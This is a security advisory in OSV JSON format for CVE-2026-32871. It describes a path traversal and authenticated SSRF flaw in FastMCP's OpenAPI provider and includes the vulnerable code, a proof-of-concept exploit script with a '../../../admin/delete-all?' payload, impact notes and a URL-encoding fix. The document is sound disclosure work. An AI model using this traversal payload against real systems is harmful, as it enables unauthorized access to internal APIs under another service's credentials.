CVE-2026-32871: Fastmcp Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vv7q-7jx5-f767",
  "modified" : "2026-04-10T19:34:35Z",
  "published" : "2026-03-31T22:53:21Z",
  "aliases" : [ "CVE-2026-32871" ],
  "summary" : "FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability",
  "details" : "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```\n\n### Root Cause\n\n1. Path parameters are substituted directly without URL encoding\n2. `urllib.parse.urljoin()` interprets `../` as directory traversal\n3. No validation prevents traversal sequences in parameter values\n4. Requests inherit the authentication context of the MCP provider\n\n---\n\n## Proof of Concept\n\n### Step 1: Backend API Setup\n\nCreate `internal_api.py` to simulate a vulnerable backend server:\n\n```python\nfrom fastapi import FastAPI, Header, HTTPException\nimport uvicorn\n\napp = FastAPI()\n\n@app.get(\"/api/v1/users/{user_id}/profile\")\ndef get_profile(user_id: str):\n    return {\"status\": \"success\", \"user\": user_id}\n\n@app.get(\"/admin/delete-all\")\ndef admin_endpoint(authorization: str = Header(None)):\n    if authorization == \"Bearer admin_secret\":\n        return {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n    raise HTTPException(status_code=401)\n\nif __name__ == \"__main__\":\n    uvicorn.run(app, host=\"127.0.0.1\", port=8080)\n```\n\n### Step 2: Exploitation Script\n\nCreate `exploit_poc.py`:\n\n```python\nimport asyncio\nimport httpx\nfrom fastmcp.utilities.openapi.director import RequestDirector\n\nasync def exploit_ssrf():\n    # Initialize vulnerable component\n    director = RequestDirector(spec={})\n    base_url = \"http://127.0.0.1:8080/\"\n    template = \"/api/v1/users/{id}/profile\"\n    \n    # Payload: Path traversal to reach /admin/delete-all\n    # The '?' character neutralizes the rest of the original template\n    payload = \"../../../admin/delete-all?\"\n    \n    # Construct malicious URL\n    malicious_url = director._build_url(template, {\"id\": payload}, base_url)\n    print(f\"[*] Generated URL: {malicious_url}\")\n\n    async with httpx.AsyncClient() as client:\n        # Request inherits MCP provider's authorization headers\n        response = await client.get(\n            malicious_url, \n            headers={\"Authorization\": \"Bearer admin_secret\"}\n        )\n        print(f\"[+] Status Code: {response.status_code}\")\n        print(f\"[+] Response: {response.text}\")\n\nif __name__ == \"__main__\":\n    asyncio.run(exploit_ssrf())\n```\n\n### Expected Output\n\n```\n[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?\n[+] Status Code: 200\n[+] Response: {\"status\": \"CRITICAL\", \"message\": \"Administrative access granted\"}\n```\n\nThe attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.\n\n---\n\n## Impact Assessment\n\n### Severity Justification\n\n- **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification\n- **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials\n- **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented\n- **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited\n- **Lateral Movement**: Internal-only services may be compromised from the network boundary\n\n### Attack Scenarios\n\n1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints\n2. **Data Theft**: Access internal databases or sensitive information endpoints\n3. **Service Disruption**: Trigger destructive operations on backend services\n4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials\n\n---\n\n## Remediation\n\n### Recommended Fix\n\nURL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as literal data, not path delimiters.\n\n**Updated code for `_build_url()` method:**\n\n```python\nimport urllib.parse\n\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -> str:\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            # Apply safe URL encoding to prevent traversal attacks\n            # safe=\"\" ensures ALL special characters are encoded\n            safe_value = urllib.parse.quote(str(param_value), safe=\"\")\n            url_path = url_path.replace(placeholder, safe_value)\n\n    return urljoin(base_url.rstrip(\"/\") + \"/\", url_path.lstrip(\"/\"))\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fastmcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.2.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32871"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/pull/3507"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/commit/40bdfb6b1de0ce30609ee9ba5bb95ecd04a9fb71"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PrefectHQ/fastmcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PrefectHQ/fastmcp/releases/tag/v3.2.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T22:53:21Z",
    "nvd_published_at" : "2026-04-02T15:16:38Z"
  }
}